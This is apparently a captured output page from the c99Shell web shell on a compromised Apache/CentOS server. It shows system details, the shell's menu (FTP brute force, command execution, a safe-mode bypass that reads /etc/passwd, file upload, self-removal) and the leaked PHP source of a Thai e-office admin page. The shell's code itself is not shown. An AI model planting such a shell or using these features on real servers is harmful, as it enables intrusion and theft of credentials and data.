!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     comfirmdoclineconfig.php (5.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../link/keyThai.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addConfig" name="addConfig" src="" style="width:0px;height:0px;border:0"></iframe>
<br>
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">จัดการข้อมูลพื้นฐานในงานสารบรรณ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="docLineConfig.php">กำหนดลำดับหน้าที่งานสารบรรณของบุคคลทีละหน่วยงาน</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ยืนยันการใช้งานทุกหน่วยงาน</font></legend><br>
      <form name="ff"  METHOD="POST" action="processConfirmDocLineConfig.php"><? // target="addConfig"?>
      <table border="0" align="center" width="100%">
      <tr>
    <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="addconfirm" value="ยืนยันการใช้งานทุกหน่วยงาน" onClick="return checkFormat();"></td>
  </tr>
      <tr><td align="center"><br>
      <?           $oDP->SearchBydeptDateDocGroup($MaxDocGroup);
                    while(
$oDP->GetRecord()){ 
                        
$checkconfirm=0;
                        if(
$oDlc1->SearchDeptconfirm($oDP->deptId)=="Y"){  $resultconfirm="ยืนยันการใช้งานแล้ว"; }else{  $checkconfirm=1;$resultconfirm="<font color=\"#FF0000\">ยังไม่ยืนยันการใช้งาน</font>"; }
        
?>        
                <table width="95%" height="22" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr><td colspan="8" height="25" align="left"><? if($checkconfirm==1){ ?><input name="checkdept[<? echo $oDP->deptId?>]" type="checkbox" value="<? echo $oDP->deptId?>" checked><? ?><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>หน่วยงาน ::&nbsp;</strong><? echo $oDP->deptName?></font></td></tr>
                <tr><td colspan="8" height="25" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>สถานะการใช้งาน ::&nbsp;</strong>
                <? echo $resultconfirm?>
                </font></td></tr>
                </table>
            <table width="95%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
              <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
                <td width="6%" align="center"><strong>ลำดับ</strong></td>
                <td width="21%" align="center"><strong>ตำแหน่ง</strong></td>
                <td  align="center" ><strong>บุคลากร</strong><strong></strong></td>
                <td width="10%" align="center"><strong>เสนอ<br>ลงนาม</strong></td>
                <td width="8%" align="center"><strong>ลงนาม</strong></td>
                <td width="8%" align="center"><strong>ส่งผ่าน</strong></td>
                <td width="8%" align="center"><strong>ส่ง</strong></td>
                <td width="10%" align="center"><strong>ดู<br>
                  หนังสือ</strong></td>
                  <td width="8%" align="center"><strong>Active</strong></td>
              </tr>
              <? 
                    $oDlc
->SearchByDeptMaxDocGroup($oDP->deptId,$MaxDocGroup);
                    
$i=0;
                     while(
$oDlc->GetRecord()){
                
?>
              <tr > 
                
          <td align="center" height="22"><? echo a2th($oDlc->DlcSeq); ?><? //echo "DlcID=".$oDlc->DlcID; ?></td>
                <td align="left" ><? $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); echo "&nbsp;&nbsp;".$oDlp->DlpName?></td>
                <? $oPS->SearchByKey($oDlc->personId);  $oPS->GetRecord();?>
                <td width="21%" align="left"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></td>
                <td align="center"><? if($oDlc->DlcPropose=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
                <td align="center"><? if($oDlc->DlcSign=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
                <td align="center"><? if($oDlc->DlcByPass=="Y"){ ?> <img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
                <td align="center"><? if($oDlc->DlcSend=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
                <td align="center"><? if($oDlc->DlcView=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
                <td align="center"><? if($oDlc->DlcActive=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
              </tr>
              <?  $i++;   } //end loop lineconfig
                   
if($i=="0"){ ?>
                    <tr><td align="center" colspan="9" height="25"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ยังไม่มีการกำหนดหน้าที่งานสารบรรณของบุคคล</font></td></tr>
            <? // if no lineconfig ?>
            </table><br>
            <? //loop show each dept?>
            
<br>
      </td></tr>
      <tr><td align="center"><input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'docLineConfig.php'"></td></tr>
      </table></form>
</fieldset>
</body>
</html>

<script language="javascript">
function checkFormat(){
        window.alert("หมายเหตุ :: เมื่อกดยืนยันการใช้งานแล้ว\nจะไม่สามารถเพิ่มตำแหน่งงานใหม่ให้กับ \nทุกหน่วยงานที่เลือกได้อีก");
        var agree=confirm("คุณต้องการยืนยันการใช้งานทุกหน่วยงานใช่หรือไม่ ?");
        if (agree){
        document.ff.fconfirm.value="1";
        return true ;
        }else{
            return false ;
        }    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--